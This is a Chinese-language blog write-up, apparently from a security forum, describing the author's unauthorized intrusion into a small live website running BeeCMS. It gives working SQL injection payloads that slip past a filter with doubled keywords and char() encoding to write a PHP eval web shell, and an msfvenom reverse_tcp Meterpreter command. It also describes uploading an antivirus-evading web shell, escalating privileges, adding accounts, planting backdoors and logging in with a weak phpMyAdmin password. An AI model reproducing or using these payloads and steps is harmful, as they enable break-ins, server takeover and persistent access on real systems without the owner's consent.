一、序言
前幾天記錄某一次無意點開的一個小網站的滲透過程,幸運的是搭建平臺是phpstudy,cms是beecms,beecms有通用漏洞,然后去網上找了資料,成功getshell并獲取服務器權限。
二、滲透過程
1. 無意點開一個網站,發現網站比較小,且看起來比較老,然后發現logo沒有改,于是乎去百度搜索這個cms,發現有通用漏洞。
Beecms 通用漏洞
https://www.ohinge.cn/php/beescms_sqli.html

2. 這里運氣比較好,沒有更改后臺地址,還是默認地址/admin/login.php

3. 通過通用漏洞發先后臺管理處存在sql注入漏洞,直接輸入admin’,然后就會報錯,這里用萬能密碼不能登陸,看來還是得通過上面得通用漏洞來進行注入

4. 可以看到輸入payload后,頁面返回正常,從而可以判斷有sql注入,這里采用雙寫進行繞過

5. 發現這個注入點后,就有各種各樣的注入方式了,通過sql語句寫入一句話,sqlmap一把梭,手工注入得到賬號密碼等等,怎么方便怎么來,這里我把幾種方法都寫一下,看看那種方法可以
方法一
1.通過post抓包sqlmap一把梭,dump出管理員賬號密碼,進后臺找上傳點
2.一把梭,發現并沒有,使用腳本也沒有繞過

方法二
1.通過burp抓包,寫入一句話,payload:
admin%27 un union ion selselectect 1,2,3,4,<?php @eval($_POST[123]);?> into outfile 'xm.php'#
發現寫入失敗,前面講到有防護,這里通過hex編碼或者char函數繞過

2.對shell部分進行編碼

3.寫入shell的payload為:注意:記得在編碼轉換的時候前面加0x或者直接用unhex函數,但是本次實驗用unhex函數一直失敗,所以在前面加0x,看到可以寫入成功。
ps:這里的寫入路徑純屬盲猜,運氣好,默認目錄

4.用蟻劍連接,成功連接,至此getshell完畢,下來就是后滲透階段,后面會講

char函數繞過:mysql內置函數char()可以將里面的ascii碼轉換為字符串,payload為:
admin' uni union on selselectect null,null,null,null,char(60, 63, 112, 104, 112, 32, 64, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 99, 109, 100, 93, 41, 59, 63, 62) in into outoutfilefile 'C:/phpStudy/WWW/beescms/cmd.php'#

一樣成功寫入
1.寫入成功后,菜刀可以連接,我們訪問寫入的文件,驚奇的發現竟然有admin,和一串md5碼,大膽猜測可能是后臺賬號和密碼,試一下

2.md5解密,wocao,成功登陸,然后就是后臺找上傳了

三、后滲透
通過whoami查看權限,發現是admin權限,但是不是最高權限,我們要提到最高權限去

方法一
1.通過msf生成木馬提權,payload:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe X > shell.exe
2.通過蟻劍上傳木馬,并執行。執行之前打開msf使用模塊
use exploit/multi/handler
設置相應參數,然后開始監聽

2.不知道什么問題,用這個沒有成功,那么只能通過大馬提權了
方法二
1.上傳大馬,此處應該有狗或者盾之類的,用的免殺,成功上傳
2.訪問大馬

3.這里提權方式很多,就不細說了,有大馬之后很多操作都可以引刃而解了,開放端口,添加賬號,留后門。。等等
4.創建admin權限賬號之后,登陸服務器

四、一些其他的發現
通過掃描目錄,還發現有phpmyadmin,可以爆破,這里我試了下竟然是弱口令,都是root,但是連接不上,只能通過phpmyadmin登陸,發現是低版本的phpstudy搭建的,這里就可以另一種思路,利用日志文件寫入一句話getshell

五、總結
1.前臺sql注入獲取用戶名密碼,進入后臺找上傳
2.SQL注入語句寫入一句話
3.phpmyadmin一句話getshell
4.上傳大馬提權
安全俠
Anna艷娜
007bug
FreeBuf
007bug
上官雨寶
我的安全夢
一顆小胡椒
007bug
安全俠
安全俠
Anna艷娜